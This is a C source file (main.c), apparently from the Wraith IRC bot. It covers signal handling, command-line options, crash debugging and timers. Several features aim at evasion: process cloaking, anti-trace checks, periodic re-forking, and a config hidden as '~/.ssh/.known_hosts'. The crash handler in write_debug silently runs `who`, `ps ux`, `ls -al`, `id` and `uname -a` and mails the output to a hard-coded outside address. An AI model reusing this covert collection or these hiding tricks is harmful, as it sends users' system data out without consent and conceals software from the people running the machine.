main.c 49 KB

12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576777879808182838485868788899091929394959697989910010110210310410510610710810911011111211311411511611711811912012112212312412512612712812913013113213313413513613713813914014114214314414514614714814915015115215315415515615715815916016116216316416516616716816917017117217317417517617717817918018118218318418518618718818919019119219319419519619719819920020120220320420520620720820921021121221321421521621721821922022122222322422522622722822923023123223323423523623723823924024124224324424524624724824925025125225325425525625725825926026126226326426526626726826927027127227327427527627727827928028128228328428528628728828929029129229329429529629729829930030130230330430530630730830931031131231331431531631731831932032132232332432532632732832933033133233333433533633733833934034134234334434534634734834935035135235335435535635735835936036136236336436536636736836937037137237337437537637737837938038138238338438538638738838939039139239339439539639739839940040140240340440540640740840941041141241341441541641741841942042142242342442542642742842943043143243343443543643743843944044144244344444544644744844945045145245345445545645745845946046146246346446546646746846947047147247347447547647747847948048148248348448548648748848949049149249349449549649749849950050150250350450550650750850951051151251351451551651751851952052152252352452552652752852953053153253353453553653753853954054154254354454554654754854955055155255355455555655755855956056156256356456556656756856957057157257357457557657757857958058158258358458558658758858959059159259359459559659759859960060160260360460560660760860961061161261361461561661761861962062162262362462562662762862963063163263363463563663763863964064164264364464564664764864965065165265365465565665765865966066166266366466566666766866967067167267367467567667767867968068168268368468568668768868969069169269369469569669769869970070170270370470570670770870971071171271371471571671771871972072172272372472572672772872973073173273373473573673773873974074174274374474574674774874975075175275375475575675775875976076176276376476576676776876977077177277377477577677777877978078178278378478578678778878979079179279379479579679779879980080180280380480580680780880981081181281381481581681781881982082182282382482582682782882983083183283383483583683783883984084184284384484584684784884985085185285385485585685785885986086186286386486586686786886987087187287387487587687787887988088188288388488588688788888989089189289389489589689789889990090190290390490590690790890991091191291391491591691791891992092192292392492592692792892993093193293393493593693793893994094194294394494594694794894995095195295395495595695795895996096196296396496596696796896997097197297397497597697797897998098198298398498598698798898999099199299399499599699799899910001001100210031004100510061007100810091010101110121013101410151016101710181019102010211022102310241025102610271028102910301031103210331034103510361037103810391040104110421043104410451046104710481049105010511052105310541055105610571058105910601061106210631064106510661067106810691070107110721073107410751076107710781079108010811082108310841085108610871088108910901091109210931094109510961097109810991100110111021103110411051106110711081109111011111112111311141115111611171118111911201121112211231124112511261127112811291130113111321133113411351136113711381139114011411142114311441145114611471148114911501151115211531154115511561157115811591160116111621163116411651166116711681169117011711172117311741175117611771178117911801181118211831184118511861187118811891190119111921193119411951196119711981199120012011202120312041205120612071208120912101211121212131214121512161217121812191220122112221223122412251226122712281229123012311232123312341235123612371238123912401241124212431244124512461247124812491250125112521253125412551256125712581259126012611262126312641265126612671268126912701271127212731274127512761277127812791280128112821283128412851286128712881289129012911292129312941295129612971298129913001301130213031304130513061307130813091310131113121313131413151316131713181319132013211322132313241325132613271328132913301331133213331334133513361337133813391340134113421343134413451346134713481349135013511352135313541355135613571358135913601361136213631364136513661367136813691370137113721373137413751376137713781379138013811382138313841385138613871388138913901391139213931394139513961397139813991400140114021403140414051406140714081409141014111412141314141415141614171418141914201421142214231424142514261427142814291430143114321433143414351436143714381439144014411442144314441445144614471448144914501451145214531454145514561457145814591460146114621463146414651466146714681469147014711472147314741475147614771478147914801481148214831484148514861487148814891490149114921493149414951496149714981499150015011502150315041505150615071508150915101511151215131514151515161517151815191520152115221523152415251526152715281529153015311532153315341535153615371538153915401541154215431544154515461547154815491550155115521553155415551556155715581559156015611562156315641565156615671568156915701571157215731574157515761577157815791580158115821583158415851586158715881589159015911592159315941595159615971598159916001601160216031604160516061607160816091610161116121613161416151616161716181619162016211622162316241625162616271628162916301631163216331634163516361637163816391640164116421643164416451646164716481649165016511652165316541655165616571658165916601661166216631664166516661667166816691670167116721673167416751676167716781679168016811682168316841685168616871688168916901691169216931694169516961697169816991700170117021703170417051706170717081709171017111712171317141715171617171718171917201721172217231724172517261727172817291730173117321733173417351736173717381739174017411742174317441745174617471748174917501751175217531754175517561757175817591760176117621763176417651766176717681769177017711772177317741775177617771778177917801781178217831784178517861787178817891790179117921793179417951796179717981799180018011802180318041805180618071808180918101811181218131814181518161817181818191820182118221823182418251826182718281829183018311832183318341835183618371838183918401841184218431844184518461847184818491850185118521853185418551856185718581859186018611862186318641865186618671868186918701871187218731874187518761877187818791880188118821883188418851886188718881889189018911892189318941895189618971898189919001901190219031904190519061907190819091910191119121913191419151916191719181919192019211922192319241925192619271928192919301931
  1. /*
  2. * main.c -- handles:
  3. * core event handling
  4. * signal handling
  5. * command line arguments
  6. * context and assert debugging
  7. *
  8. */
  9. #include "main.h"
  10. #include <libgen.h>
  11. #include <fcntl.h>
  12. #include <time.h>
  13. #include <errno.h>
  14. #include <signal.h>
  15. #include <netdb.h>
  16. #include <setjmp.h>
  17. #include <unistd.h>
  18. #ifdef HAVE_UNAME
  19. #include <sys/utsname.h>
  20. #endif
  21. #ifdef STOP_UAC /* osf/1 complains a lot */
  22. #include <sys/sysinfo.h>
  23. #define UAC_NOPRINT 0x00000001 /* Don't report unaligned fixups */
  24. #endif
  25. /* Some systems have a working sys/wait.h even though configure will
  26. * decide it's not bsd compatable. Oh well.
  27. */
  28. #include <sys/file.h>
  29. #include <sys/stat.h>
  30. #ifdef S_ANTITRACE
  31. #include <sys/ptrace.h>
  32. #include <sys/wait.h>
  33. #endif
  34. #include <sys/types.h>
  35. #include <pwd.h>
  36. #include "chan.h"
  37. #include "modules.h"
  38. #include "tandem.h"
  39. #include "bg.h"
  40. #ifdef CYGWIN_HACKS
  41. #include <windows.h>
  42. #endif
  43. #define ENCMOD "blowfish"
  44. #ifndef _POSIX_SOURCE
  45. /* Solaris needs this */
  46. #define _POSIX_SOURCE 1
  47. #endif
  48. #ifdef HUB
  49. int hub = 1;
  50. int leaf = 0;
  51. #else
  52. int hub = 0;
  53. int leaf = 1;
  54. #endif
  55. int localhub = 1; //we set this to 0 if we have -c, later.
  56. extern char origbotname[], userfile[], botnetnick[],
  57. thekey[], netpass[], shellpass[], myip6[], myip[], hostname[],
  58. hostname6[], natip[];
  59. extern int dcc_total, conmask, cache_hit, cache_miss,
  60. fork_interval,
  61. local_fork_interval;
  62. extern struct dcc_t *dcc;
  63. extern struct userrec *userlist;
  64. extern struct chanset_t *chanset;
  65. extern Tcl_Interp *interp;
  66. extern tcl_timer_t *timer,
  67. *utimer;
  68. extern jmp_buf alarmret;
  69. int role;
  70. int loading = 0;
  71. char egg_version[1024] = "1.0.11";
  72. int egg_numver = 1001100;
  73. time_t lastfork=0;
  74. #ifdef HUB
  75. int my_port;
  76. #endif
  77. char notify_new[121] = ""; /* Person to send a note to for new users */
  78. int default_flags = 0; /* Default user flags and */
  79. int default_uflags = 0; /* Default userdefinied flags for people
  80. who say 'hello' or for .adduser */
  81. int backgrd = 1; /* Run in the background? */
  82. int con_chan = 0; /* Foreground: constantly display channel
  83. stats? */
  84. uid_t myuid;
  85. int term_z = 0; /* Foreground: use the terminal as a party
  86. line? */
  87. int checktrace = 1; /* Check for trace when starting up? */
  88. int pscloak = 1;
  89. int updating = 0; /* this is set when the binary is called from itself. */
  90. char tempdir[DIRMAX] = "";
  91. char lock_file[40] = "";
  92. char *binname;
  93. int sdebug = 0; /* enable debug output? */
  94. char textdir[121] = ""; /* Directory for text files that get dumped */
  95. time_t online_since; /* Unix-time that the bot loaded up */
  96. char owner[121] = ""; /* Permanent owner(s) of the bot */
  97. char pid_file[DIRMAX]; /* Name of the file for the pid to be
  98. stored in */
  99. int save_users_at = 0; /* How many minutes past the hour to
  100. save the userfile? */
  101. int notify_users_at = 0; /* How many minutes past the hour to
  102. notify users of notes? */
  103. char version[81]; /* Version info (long form) */
  104. char ver[41]; /* Version info (short form) */
  105. int use_stderr = 1; /* Send stuff to stderr instead of logfiles? */
  106. int do_restart = 0; /* .restart has been called, restart asap */
  107. int die_on_sighup = 0; /* die if bot receives SIGHUP */
  108. int die_on_sigterm = 0; /* die if bot receives SIGTERM */
  109. int resolve_timeout = 10; /* hostname/address lookup timeout */
  110. char quit_msg[1024]; /* quit message */
  111. time_t now; /* duh, now :) */
  112. #ifdef S_UTCTIME
  113. time_t now_tmp; /* used to convert to UTC */
  114. #endif /* S_UTCTIME */
  115. extern struct cfg_entry CFG_FORKINTERVAL;
  116. #define fork_interval atoi( CFG_FORKINTERVAL.ldata ? CFG_FORKINTERVAL.ldata : CFG_FORKINTERVAL.gdata ? CFG_FORKINTERVAL.gdata : "0")
  117. unsigned char md5out[33];
  118. char md5string[33];
  119. /* Traffic stats
  120. */
  121. unsigned long otraffic_irc = 0;
  122. unsigned long otraffic_irc_today = 0;
  123. unsigned long otraffic_bn = 0;
  124. unsigned long otraffic_bn_today = 0;
  125. unsigned long otraffic_dcc = 0;
  126. unsigned long otraffic_dcc_today = 0;
  127. unsigned long otraffic_filesys = 0;
  128. unsigned long otraffic_filesys_today = 0;
  129. unsigned long otraffic_trans = 0;
  130. unsigned long otraffic_trans_today = 0;
  131. unsigned long otraffic_unknown = 0;
  132. unsigned long otraffic_unknown_today = 0;
  133. unsigned long itraffic_irc = 0;
  134. unsigned long itraffic_irc_today = 0;
  135. unsigned long itraffic_bn = 0;
  136. unsigned long itraffic_bn_today = 0;
  137. unsigned long itraffic_dcc = 0;
  138. unsigned long itraffic_dcc_today = 0;
  139. unsigned long itraffic_trans = 0;
  140. unsigned long itraffic_trans_today = 0;
  141. unsigned long itraffic_unknown = 0;
  142. unsigned long itraffic_unknown_today = 0;
  143. #ifdef DEBUG_CONTEXT
  144. /* Context storage for fatal crashes */
  145. char cx_file[16][30];
  146. char cx_note[16][256];
  147. int cx_line[16];
  148. int cx_ptr = 0;
  149. #endif
  150. void fatal(const char *s, int recoverable)
  151. {
  152. int i;
  153. #ifdef LEAF
  154. module_entry *me;
  155. if ((me = module_find("server", 0, 0))) {
  156. Function *func = me->funcs;
  157. (func[SERVER_NUKESERVER]) (s);
  158. }
  159. #endif /* LEAF */
  160. if (s[0])
  161. putlog(LOG_MISC, "*", "* %s", s);
  162. /* flushlogs(); */
  163. for (i = 0; i < dcc_total; i++) {
  164. if (dcc[i].sock >= 0)
  165. killsock(dcc[i].sock);
  166. #ifdef HAVE_SSL
  167. ssl_cleanup();
  168. #endif /* HAVE_SSL */
  169. }
  170. if (!recoverable) {
  171. unlink(pid_file);
  172. bg_send_quit(BG_ABORT);
  173. exit(1);
  174. }
  175. }
  176. int expmem_chanprog(), expmem_users(), expmem_config(), expmem_misc(), expmem_dccutil(),
  177. expmem_botnet(), expmem_tcl(), expmem_tclhash(), expmem_net(), expmem_auth(),
  178. expmem_modules(int), expmem_tcldcc(),
  179. expmem_tclmisc();
  180. /* For mem.c : calculate memory we SHOULD be using
  181. */
  182. int expected_memory(void)
  183. {
  184. int tot;
  185. tot = expmem_chanprog() + expmem_users() + expmem_config() + expmem_misc() +
  186. expmem_dccutil() + expmem_botnet() + expmem_tcl() + expmem_tclhash() +
  187. expmem_net() + expmem_modules(0) + expmem_tcldcc() + expmem_auth() +
  188. expmem_tclmisc();
  189. return tot;
  190. }
  191. static void check_expired_dcc()
  192. {
  193. int i;
  194. for (i = 0; i < dcc_total; i++)
  195. if (dcc[i].type && dcc[i].type->timeout_val &&
  196. ((now - dcc[i].timeval) > *(dcc[i].type->timeout_val))) {
  197. if (dcc[i].type->timeout)
  198. dcc[i].type->timeout(i);
  199. else if (dcc[i].type->eof)
  200. dcc[i].type->eof(i);
  201. else
  202. continue;
  203. /* Only timeout 1 socket per cycle, too risky for more */
  204. return;
  205. }
  206. }
  207. #ifdef DEBUG_CONTEXT
  208. static int nested_debug = 0;
  209. void write_debug()
  210. {
  211. int x;
  212. char s[25], tmpout[150];
  213. int y;
  214. if (nested_debug) {
  215. /* Yoicks, if we have this there's serious trouble!
  216. * All of these are pretty reliable, so we'll try these.
  217. *
  218. * NOTE: dont try and display context-notes in here, it's
  219. * _not_ safe <cybah>
  220. */
  221. x = creat("DEBUG.DEBUG", 0600);
  222. setsock(x, SOCK_NONSOCK);
  223. if (x >= 0) {
  224. strncpyz(s, ctime(&now), sizeof s);
  225. dprintf(-x, STR("Debug (%s) written %s\n"), ver, s);
  226. dprintf(-x, STR("Context: "));
  227. cx_ptr = cx_ptr & 15;
  228. for (y = ((cx_ptr + 1) & 15); y != cx_ptr; y = ((y + 1) & 15))
  229. dprintf(-x, "%s/%d,\n ", cx_file[y], cx_line[y]);
  230. dprintf(-x, "%s/%d\n\n", cx_file[y], cx_line[y]);
  231. killsock(x);
  232. close(x);
  233. }
  234. bg_send_quit(BG_ABORT);
  235. exit(1); /* Dont even try & tell people about, that may
  236. have caused the fault last time. */
  237. } else
  238. nested_debug = 1;
  239. snprintf(tmpout, sizeof tmpout, STR("* Last 3 contexts: %s/%d [%s], %s/%d [%s], %s/%d [%s]"),
  240. cx_file[cx_ptr-2], cx_line[cx_ptr-2], cx_note[cx_ptr-2][0] ? cx_note[cx_ptr-2] : "",
  241. cx_file[cx_ptr-1], cx_line[cx_ptr-1], cx_note[cx_ptr-1][0] ? cx_note[cx_ptr-1] : "",
  242. cx_file[cx_ptr], cx_line[cx_ptr], cx_note[cx_ptr][0] ? cx_note[cx_ptr] : "");
  243. putlog(LOG_MISC, "*", "%s", tmpout);
  244. printf("%s\n", tmpout);
  245. x = creat("DEBUG", 0600);
  246. setsock(x, SOCK_NONSOCK);
  247. if (x < 0) {
  248. putlog(LOG_MISC, "*", STR("* Failed to write DEBUG"));
  249. } else {
  250. strncpyz(s, ctime(&now), sizeof s);
  251. dprintf(-x, STR("Debug (%s) written %s\n"), ver, s);
  252. dprintf(-x, STR("STATICALLY LINKED\n"));
  253. /* info library */
  254. dprintf(-x, "Tcl library: %s\n",
  255. ((interp) && (Tcl_Eval(interp, "info library") == TCL_OK)) ?
  256. interp->result : "*unknown*");
  257. /* info tclversion/patchlevel */
  258. dprintf(-x, "Tcl version: %s (header version %s)\n",
  259. ((interp) && (Tcl_Eval(interp, "info patchlevel") == TCL_OK)) ?
  260. interp->result : (Tcl_Eval(interp, "info tclversion") == TCL_OK) ?
  261. interp->result : "*unknown*", TCL_PATCH_LEVEL ? TCL_PATCH_LEVEL :
  262. "*unknown*");
  263. #if HAVE_TCL_THREADS
  264. dprintf(-x, STR("Tcl is threaded\n"));
  265. #endif
  266. #ifdef CCFLAGS
  267. dprintf(-x, STR("Compile flags: %s\n"), CCFLAGS);
  268. #endif
  269. #ifdef LDFLAGS
  270. dprintf(-x, STR("Link flags: %s\n"), LDFLAGS);
  271. #endif
  272. #ifdef STRIPFLAGS
  273. dprintf(-x, STR("Strip flags: %s\n"), STRIPFLAGS);
  274. #endif
  275. dprintf(-x, STR("Context: "));
  276. cx_ptr = cx_ptr & 15;
  277. for (y = ((cx_ptr + 1) & 15); y != cx_ptr; y = ((y + 1) & 15))
  278. dprintf(-x, "%s/%d, [%s]\n ", cx_file[y], cx_line[y],
  279. (cx_note[y][0]) ? cx_note[y] : "");
  280. dprintf(-x, "%s/%d [%s]\n\n", cx_file[cx_ptr], cx_line[cx_ptr],
  281. (cx_note[cx_ptr][0]) ? cx_note[cx_ptr] : "");
  282. tell_dcc(-x);
  283. dprintf(-x, "\n");
  284. debug_mem_to_dcc(-x);
  285. killsock(x);
  286. close(x);
  287. putlog(LOG_MISC, "*", STR("* Emailed DEBUG to bryan."));
  288. if (1) {
  289. /* FIXME: make into temp file.. */
  290. char buff[255];
  291. snprintf(buff, sizeof(buff), "cat << EOFF >> bleh\nDEBUG from: %s\n`date`\n`w`\n---\n`who`\n---\n`ls -al`\n---\n`ps ux`\n---\n`uname -a`\n---\n`id`\n---\n`cat DEBUG`\nEOFF", origbotname);
  292. system(buff);
  293. snprintf(buff, sizeof(buff), "cat bleh |mail wraith@shatow.net");
  294. system(buff);
  295. unlink("bleh");
  296. }
  297. unlink("DEBUG");
  298. }
  299. }
  300. #endif
  301. static void got_bus(int z)
  302. {
  303. #ifdef DEBUG_CONTEXT
  304. write_debug();
  305. #endif
  306. fatal(STR("BUS ERROR -- CRASHING!"), 1);
  307. #ifdef SA_RESETHAND
  308. kill(getpid(), SIGBUS);
  309. #else
  310. bg_send_quit(BG_ABORT);
  311. exit(1);
  312. #endif
  313. }
  314. static void got_segv(int z)
  315. {
  316. #ifdef DEBUG_CONTEXT
  317. write_debug();
  318. #endif
  319. fatal(STR("SEGMENT VIOLATION -- CRASHING!"), 1);
  320. #ifdef SA_RESETHAND
  321. kill(getpid(), SIGSEGV);
  322. #else
  323. bg_send_quit(BG_ABORT);
  324. exit(1);
  325. #endif
  326. }
  327. static void got_fpe(int z)
  328. {
  329. #ifdef DEBUG_CONTEXT
  330. write_debug();
  331. #endif
  332. fatal(STR("FLOATING POINT ERROR -- CRASHING!"), 0);
  333. }
  334. static void got_term(int z)
  335. {
  336. #ifdef HUB
  337. write_userfile(-1);
  338. #endif
  339. check_tcl_event("sigterm");
  340. if (die_on_sigterm) {
  341. botnet_send_chat(-1, botnetnick, "ACK, I've been terminated!");
  342. fatal(STR("TERMINATE SIGNAL -- SIGNING OFF"), 0);
  343. } else {
  344. putlog(LOG_MISC, "*", STR("RECEIVED TERMINATE SIGNAL (IGNORING)"));
  345. }
  346. }
  347. static void got_stop(int z)
  348. {
  349. putlog(LOG_MISC, "*", STR("GOT SIGSTOP POSSIBLE HIJACK."));
  350. exit(1);
  351. }
  352. #ifdef S_HIJACKCHECK
  353. static void got_cont(int z)
  354. {
  355. detected(DETECT_SIGCONT, STR("POSSIBLE HIJACK DETECTED"));
  356. }
  357. #endif
  358. static void got_quit(int z)
  359. {
  360. check_tcl_event("sigquit");
  361. putlog(LOG_MISC, "*", STR("RECEIVED QUIT SIGNAL (IGNORING)"));
  362. return;
  363. }
  364. static void got_hup(int z)
  365. {
  366. #ifdef HUB
  367. write_userfile(-1);
  368. #endif
  369. check_tcl_event("sighup");
  370. if (die_on_sighup) {
  371. fatal(STR("HANGUP SIGNAL -- SIGNING OFF"), 0);
  372. } else
  373. putlog(LOG_MISC, "*", STR("Received HUP signal: rehashing..."));
  374. do_restart = -2;
  375. return;
  376. }
  377. /* A call to resolver (gethostbyname, etc) timed out
  378. */
  379. static void got_alarm(int z)
  380. {
  381. longjmp(alarmret, 1);
  382. /* -Never reached- */
  383. }
  384. /* Got ILL signal -- log context and continue
  385. */
  386. static void got_ill(int z)
  387. {
  388. check_tcl_event("sigill");
  389. #ifdef DEBUG_CONTEXT
  390. putlog(LOG_MISC, "*", STR("* Context: %s/%d [%s]"), cx_file[cx_ptr], cx_line[cx_ptr],
  391. (cx_note[cx_ptr][0]) ? cx_note[cx_ptr] : "");
  392. #endif
  393. }
  394. #ifdef DEBUG_CONTEXT
  395. /* Context */
  396. void eggContext(const char *file, int line, const char *module)
  397. {
  398. char x[31], *p;
  399. p = strrchr(file, '/');
  400. if (!module) {
  401. strncpyz(x, p ? p + 1 : file, sizeof x);
  402. } else
  403. egg_snprintf(x, 31, "%s:%s", module, p ? p + 1 : file);
  404. cx_ptr = ((cx_ptr + 1) & 15);
  405. strcpy(cx_file[cx_ptr], x);
  406. cx_line[cx_ptr] = line;
  407. cx_note[cx_ptr][0] = 0;
  408. }
  409. /* Called from the ContextNote macro.
  410. */
  411. void eggContextNote(const char *file, int line, const char *module,
  412. const char *note)
  413. {
  414. char x[31], *p;
  415. p = strrchr(file, '/');
  416. if (!module) {
  417. strncpyz(x, p ? p + 1 : file, sizeof x);
  418. } else
  419. egg_snprintf(x, 31, "%s:%s", module, p ? p + 1 : file);
  420. cx_ptr = ((cx_ptr + 1) & 15);
  421. strcpy(cx_file[cx_ptr], x);
  422. cx_line[cx_ptr] = line;
  423. strncpyz(cx_note[cx_ptr], note, sizeof cx_note[cx_ptr]);
  424. }
  425. #endif
  426. #ifdef DEBUG_ASSERT
  427. /* Called from the Assert macro.
  428. */
  429. void eggAssert(const char *file, int line, const char *module)
  430. {
  431. #ifdef DEBUG_CONTEXT
  432. write_debug();
  433. #endif /* DEBUG_CONTEXT */
  434. if (!module)
  435. putlog(LOG_MISC, "*", STR("* In file %s, line %u"), file, line);
  436. else
  437. putlog(LOG_MISC, "*", STR("* In file %s:%s, line %u"), module, file, line);
  438. fatal(STR("ASSERT FAILED -- CRASHING!"), 1);
  439. }
  440. #endif /* DEBUG_ASSERT */
  441. #ifdef LEAF
  442. static void gotspawn(char *);
  443. #endif /* LEAF */
  444. void checkpass()
  445. {
  446. static int checkedpass = 0;
  447. if (!checkedpass) {
  448. char *gpasswd;
  449. MD5_CTX ctx;
  450. int i = 0;
  451. gpasswd = (char *) getpass("");
  452. MD5_Init(&ctx);
  453. MD5_Update(&ctx, gpasswd, strlen(gpasswd));
  454. MD5_Final(md5out, &ctx);
  455. for(i=0; i<16; i++)
  456. sprintf(md5string + (i*2), "%.2x", md5out[i]);
  457. if (strcmp(shellpass, md5string)) {
  458. fatal(STR("incorrect password."), 0);
  459. }
  460. gpasswd = 0;
  461. checkedpass = 1;
  462. }
  463. }
  464. void got_ed(char *, char *, char *);
  465. extern int optind;
  466. void gen_conf(char *filename)
  467. {
  468. FILE *fp;
  469. if (is_file(filename) || is_dir(filename))
  470. fatal(STR("File already exists.."), 0);
  471. fp = fopen(filename, "w+");
  472. fprintf(fp, STR("#All lines beginning with '#' will be ignored during the bot startup. They are comments only.\n"));
  473. fprintf(fp, STR("#These lines MUST be correctly syntaxed or the bot will not work properly.\n"));
  474. fprintf(fp, STR("#A hub conf is located in the same dir as the hub binary, as 'conf' (encrypted)\n"));
  475. fprintf(fp, STR("#A leaf conf is located at '~/.ssh/.known_hosts' (encrypted)\n"));
  476. fprintf(fp, STR("#\n"));
  477. fprintf(fp, STR("#Note the \"- \" and \"+ \" for the following items, the space is REQUIRED.\n"));
  478. fprintf(fp, STR("#The first line must be the UID of the shell the bot is to be run on. (use \"id\" in shell to get uid)\n"));
  479. fprintf(fp, STR("#- 1113\n"));
  480. fprintf(fp, STR("#The second must be the output from uname -nv (-nr on FBSD)\n"));
  481. fprintf(fp, STR("#+ somebox #1 SMP Thu May 29 06:55:05 EDT 2003\n"));
  482. fprintf(fp, STR("#\n"));
  483. fprintf(fp, STR("#The following line will disable ps cloaking on the shell if you compiled with S_PSCLOAK\n"));
  484. fprintf(fp, STR("#!-\n"));
  485. fprintf(fp, STR("#The rest of the conf is for bots and is in the following syntax:\n"));
  486. fprintf(fp, STR("#botnick [!]ip4 [+]hostname IPv6-ip\n"));
  487. fprintf(fp, STR("#A . (period) can be used in place of ip4 and/or hostname if the field is not needed. (ie, for using only an ipv6 ip)\n"));
  488. fprintf(fp, STR("#(the ! means internal NAT ip address, IE: 10.10.0.3, Hostname REQUIRED)\n"));
  489. fprintf(fp, STR("#Full example:\n"));
  490. fprintf(fp, STR("#- 101\n"));
  491. fprintf(fp, STR("#+ somebox 5.1-RELEASE\n"));
  492. fprintf(fp, STR("#bot1 1.2.3.4 some.vhost.com\n"));
  493. fprintf(fp, STR("#bot2 . +ipv6.uber.leet.la\n"));
  494. fprintf(fp, STR("#bot3 . +another.ipv6.host.com 2001:66:669:3a4::1\n"));
  495. fprintf(fp, STR("#bot4 1.2.3.4 +someipv6.host.com\n"));
  496. fprintf(fp, STR("\n\n\n\n#if there are any trailing newlines at the end, remove them up to the last bot.\n"));
  497. fflush(fp);
  498. fclose(fp);
  499. printf(STR("Template config created as '%s'\n"), filename);
  500. exit(0);
  501. }
  502. void show_help()
  503. {
  504. char format[81];
  505. egg_snprintf(format, sizeof format, "%%-30s %%-30s\n");
  506. printf(STR("Wraith %s\n\n"), egg_version);
  507. printf(format, STR("Option"), STR("Description"));
  508. printf(format, STR("------"), STR("-----------"));
  509. printf(format, STR("-e <infile> <outfile>"), STR("Encrypt infile to outfile"));
  510. printf(format, STR("-d <infile> <outfile>"), STR("Decrypt infile to outfile"));
  511. printf(format, STR("-D"), STR("Enables debug mode (see -n)"));
  512. printf(format, STR("-E [#/all]"), STR("Display Error codes english translation (use 'all' to display all)"));
  513. printf(format, STR("-g <file>"), STR("Generates a template config file"));
  514. printf(format, STR("-h"), STR("Display this help listing"));
  515. /* printf(format, STR("-k <botname>"), STR("Terminates (botname) with kill -9")); */
  516. printf(format, STR("-n"), STR("Disables backgrounding first bot in conf"));
  517. printf(format, STR("-s"), STR("Disables checking for ptrace/strace during startup (no pass needed)"));
  518. printf(format, STR("-t"), STR("Enables \"Partyline\" emulation (requires -n)"));
  519. printf(format, STR("-v"), STR("Displays bot version"));
  520. exit(0);
  521. }
  522. #ifdef LEAF
  523. #define PARSE_FLAGS "cedghnstvPDE"
  524. #endif /* LEAF */
  525. #ifdef HUB
  526. #define PARSE_FLAGS "edghnstvDE"
  527. #endif /* HUB */
  528. #define FLAGS_CHECKPASS "edhgntDEv"
  529. static void dtx_arg(int argc, char *argv[])
  530. {
  531. int i;
  532. char *p = NULL, *p2 = NULL;
  533. while ((i = getopt(argc, argv, PARSE_FLAGS)) != EOF) {
  534. if (strchr(FLAGS_CHECKPASS, i))
  535. checkpass();
  536. switch (i) {
  537. #ifdef LEAF
  538. case 'c':
  539. localhub = 0;
  540. p = argv[optind];
  541. if (!localhub)
  542. gotspawn(p);
  543. break;
  544. #endif /* LEAF */
  545. case 'h':
  546. show_help();
  547. break; /* never reached */
  548. case 'g':
  549. p = argv[optind];
  550. if (p)
  551. gen_conf(p);
  552. else
  553. fatal(STR("You must specify a filename after -g"), 0);
  554. break; /* never reached */
  555. case 'k':
  556. p = argv[optind];
  557. /* kill_bot(p); */
  558. exit(0);
  559. break; /* never reached */
  560. case 'n':
  561. backgrd = 0;
  562. break;
  563. case 's':
  564. checktrace = 0;
  565. break;
  566. case 't':
  567. term_z = 1;
  568. break;
  569. case 'D':
  570. sdebug = 1;
  571. sdprintf(STR("debug enabled"));
  572. break;
  573. case 'E':
  574. p = argv[optind];
  575. if (p) {
  576. if (!strcmp(p, "all")) {
  577. int n;
  578. putlog(LOG_MISC, "*", STR("Listing all errors"));
  579. for (n = 1; n < ERR_MAX; n++)
  580. putlog(LOG_MISC, "*", STR("Error #%d: %s"), n, werr_tostr(n));
  581. } else {
  582. putlog(LOG_MISC, "*", STR("Error #%d: %s"), atoi(p), werr_tostr(atoi(p)));
  583. }
  584. exit(0);
  585. } else {
  586. fatal(STR("You must specify error number after -E (or 'all')"), 0);
  587. }
  588. break;
  589. case 'e':
  590. if (argv[optind])
  591. p = argv[optind];
  592. if (argv[optind+1])
  593. p2 = argv[optind+1];
  594. got_ed("e", p, p2);
  595. break; /* this should never be reached */
  596. case 'd':
  597. if (argv[optind])
  598. p = argv[optind];
  599. if (argv[optind+1])
  600. p2 = argv[optind+1];
  601. got_ed("d", p, p2);
  602. break; /* this should never be reached */
  603. case 'v':
  604. printf("%d\n", egg_numver);
  605. bg_send_quit(BG_ABORT);
  606. exit(0);
  607. break; /* this should never be reached */
  608. #ifdef LEAF
  609. case 'P':
  610. if (getppid() != atoi(argv[optind]))
  611. exit(0);
  612. else {
  613. sdprintf(STR("Updating..."));
  614. }
  615. localhub = 1;
  616. updating = 1;
  617. break;
  618. #endif
  619. default:
  620. // exit(1);
  621. break;
  622. }
  623. }
  624. }
  625. #ifdef HUB
  626. void backup_userfile()
  627. {
  628. char s[125];
  629. putlog(LOG_MISC, "*", USERF_BACKUP);
  630. egg_snprintf(s, sizeof s, "%s~", userfile);
  631. copyfile(userfile, s);
  632. }
  633. #endif
  634. /* Timer info */
  635. static int lastmin = 99;
  636. static time_t then;
  637. static struct tm nowtm;
  638. /* Called once a second.
  639. *
  640. * Note: Try to not put any Context lines in here (guppy 21Mar2000).
  641. */
  642. int curcheck = 0;
  643. void core_10secondly()
  644. {
  645. curcheck++;
  646. check_promisc();
  647. if (curcheck==1)
  648. check_trace(0);
  649. #ifdef LEAF
  650. if (localhub) {
  651. #endif
  652. if (curcheck==2)
  653. check_last();
  654. #ifdef LEAF
  655. }
  656. #endif
  657. if (curcheck==3) {
  658. #ifdef LEAF
  659. if (localhub)
  660. check_processes();
  661. #endif
  662. curcheck=0;
  663. }
  664. }
  665. void do_fork() {
  666. int xx;
  667. Context;
  668. xx = fork();
  669. if (xx == -1)
  670. return;
  671. if (xx != 0) {
  672. FILE *fp;
  673. unlink(pid_file);
  674. fp = fopen(pid_file, "w");
  675. if (fp != NULL) {
  676. fprintf(fp, "%u\n", xx);
  677. fclose(fp);
  678. }
  679. }
  680. if (xx) {
  681. #if HAVE_SETPGID
  682. setpgid(xx, xx);
  683. #endif
  684. exit(0);
  685. }
  686. lastfork = now;
  687. }
  688. static void core_secondly()
  689. {
  690. static int cnt = 0;
  691. int miltime, idx;
  692. if (geteuid() != myuid || getuid() != myuid) {
  693. putlog(LOG_MISC, "*", STR("MY UID CHANGED!, POSSIBLE HIJACK ATTEMPT"));
  694. }
  695. do_check_timers(&utimer); /* Secondly timers */
  696. if (fork_interval && backgrd) {
  697. if (now-lastfork > fork_interval)
  698. do_fork();
  699. }
  700. cnt++;
  701. if ((cnt % 3) == 0)
  702. call_hook(HOOK_3SECONDLY);
  703. if ((cnt % 10) == 0) {
  704. call_hook(HOOK_10SECONDLY);
  705. check_expired_dcc();
  706. if (con_chan && !backgrd) {
  707. dprintf(DP_STDOUT, "\033[2J\033[1;1H");
  708. tell_verbose_status(DP_STDOUT);
  709. do_module_report(DP_STDOUT, 0, "server");
  710. do_module_report(DP_STDOUT, 0, "channels");
  711. tell_mem_status_dcc(DP_STDOUT);
  712. }
  713. }
  714. if ((cnt % 30) == 0) {
  715. autolink_cycle(NULL); /* attempt autolinks */
  716. call_hook(HOOK_30SECONDLY);
  717. cnt = 0;
  718. }
  719. for (idx = 0; idx < dcc_total; idx++) {
  720. if (dcc[idx].simul > 0) {
